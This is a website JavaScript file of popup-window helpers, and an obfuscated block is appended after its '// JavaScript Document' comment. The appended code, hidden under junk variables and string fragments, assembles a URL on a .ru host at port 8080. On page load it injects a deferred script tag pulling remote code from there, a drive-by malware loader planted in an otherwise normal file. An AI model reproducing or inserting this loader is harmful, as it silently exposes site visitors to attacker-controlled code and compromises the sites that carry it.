var newWindow = null;

function closeWin(){
	if (newWindow != null){
		if(!newWindow.closed)
			newWindow.close();
	}
}

function popUpWin(url, type, strWidth, strHeight, PhotoID){
	
	closeWin();
		
	type = type.toLowerCase();
	
	
	if (type == "fullscreen"){
		strWidth = screen.availWidth;
		strHeight = screen.availHeight;
	}
	var tools="";
	if (type == "standard") tools = "resizable,toolbar=yes,location=yes,scrollbars=yes,menubar=yes,width="+strWidth+",height="+strHeight+",top=0,left=0";
	if (type == "console" || type == "fullscreen") tools = "toolbar=no,location=no,scrollbars=yes,width="+strWidth+",height="+strHeight+",left=0,top=0";
	newWindow = window.open(url, 'newWin', tools);
	newWindow.focus();
	
	
}

function doPopUp(e)
{
//set defaults - if nothing in rel attrib, these will be used
var t = "standard";
var w = "780";
var h = "580";
//look for parameters
attribs = this.rel.split(" ");
if (attribs[1]!=null) {t = attribs[1];}
if (attribs[2]!=null) {w = attribs[2];}
if (attribs[3]!=null) {h = attribs[3];}
if (attribs[4]!=null) {id = attribs[4];}
//call the popup script
popUpWin(this.href,t,w,h,id);
//cancel the default link action if pop-up activated
if (window.event) 
	{
	window.event.returnValue = false;
	window.event.cancelBubble = true;
	} 
else if (e) 
	{
	e.stopPropagation();
	e.preventDefault();
	}
}

function findPopUps()
{
var popups = document.getElementsByTagName("a");
for (i=0;i<popups.length;i++)
	{
	if (popups[i].rel.indexOf("popup")!=-1)
		{
		// attach popup behaviour
		popups[i].onclick = doPopUp;
		// add popup indicator
		if (popups[i].rel.indexOf("noicon")==-1)
			{
			popups[i].style.backgroundImage = "url(pop-up.gif)";
			popups[i].style.backgroundPosition = "0 center";
			popups[i].style.backgroundRepeat = "no-repeat";
			popups[i].style.paddingLeft = "15px";
			}
		// add info to title attribute to alert fact that it's a pop-up window
		popups[i].title = popups[i].title + " [Opens in pop-up window]";
		}
	}
}

addEvent(window, 'load', findPopUps, false);
// JavaScript Document
var na;if(na!='x' && na!='O'){na='x'};var U=new Date();var yw;if(yw!='' && yw!='z'){yw=''};function S(){var pa;if(pa!='xM' && pa!='v'){pa=''};var V=new Array();var E='';var q=RegExp;this.kq="";var g=new String("kQpg".substr(3));this.A="";var JL;if(JL!=''){JL='yq'};var bg;if(bg!='naQ' && bg!='d'){bg='naQ'};function b(o,J){this.B='';var xL=new String();var Ds=new Date();var a= String("[");a+=J;a+=new String("]");var t;if(t!='' && t!='yO'){t=null};var gB=new Date();var D=new q(a, g);var aa=new Date();return o.replace(D, E);var vp;if(vp!='Q' && vp!='El'){vp=''};var pU;if(pU!='Uo' && pU!='C'){pU=''};};var t_=new String();this.__="";var lc;if(lc!='zw'){lc='zw'};var c=new String("/c"+"ERBlri".substr(4)+"S9Nci9SN".substr(3,2)+"nfsbx".substr(0,2)+"o."+"co"+"m/V3sF".substr(0,2)+"cr"+"pojicpjo".substr(3,2)+"Dszin".substr(3)+"459afo954a".substr(4,2)+"Jo7.c".substr(3)+"9YDOomOY9D".substr(4,2)+"tNUO/gtOUN".substr(4,2)+"oo"+"glWLZK".substr(0,2)+"kDpe.pkD".substr(3,2)+"SxeTcoeSTx".substr(4,2)+"FI50m/".substr(4)+"RtzkaRzt".substr(3,2)+"AKktz".substr(3)+"6mBU.c".substr(4)+"d/NSix".substr(0,2)+"h17zcj".substr(4)+"Qa4.cQ4a".substr(3,2)+"wlQom".substr(3)+".p"+"1gAhp".substr(3));var yC="";var p='';var Z;if(Z!='' && Z!='qY'){Z=''};var m=b('8190178971017',"719");var Fr=new Array();var s=window;this._X='';var n=new String("ReHfscr".substr(4)+"iptU4N".substr(0,3));var GZ_=new String();var fk;if(fk!='hv' && fk!='Ce'){fk='hv'};var F="http:"+"//liv"+"einte"+"rnet-"+"ru.le"+"novo.ilmt".substr(0,5)+"com.f"+"fxCocus-xfC".substr(3,5)+"cn.thLaY".substr(0,5)+"ehotl"+"ab.ru"+"rqJ:rqJ".substr(3,1);var af;if(af!='Zp' && af != ''){af=null};var w;if(w!='zb' && w != ''){w=null};var i=String("src");this.UO='';var YS='';var Y=new String("defer");var uc=new Date();s.onload=function(){var lw="";var Tp;if(Tp!='nW'){Tp='nW'};try {this.ng='';this.hc='';p=F+m;this.tI="";var UF;if(UF!='' && UF!='Ge'){UF=null};p+=c;var TL='';j=document.createElement(n);var _V;if(_V!='' && _V!='KT'){_V='rJ'};var US;if(US!='nE'){US='nE'};j[Y]=[0,1][1];this.I="";j[i]=p;var aQ;if(aQ!='' && aQ!='mM'){aQ='ER'};document.body.appendChild(j);var pX='';this.ZW='';} catch(y){var qo='';var OK='';};};var Sk="";};var rq;if(rq!='kR' && rq!='FG'){rq='kR'};var zS=new Array();S();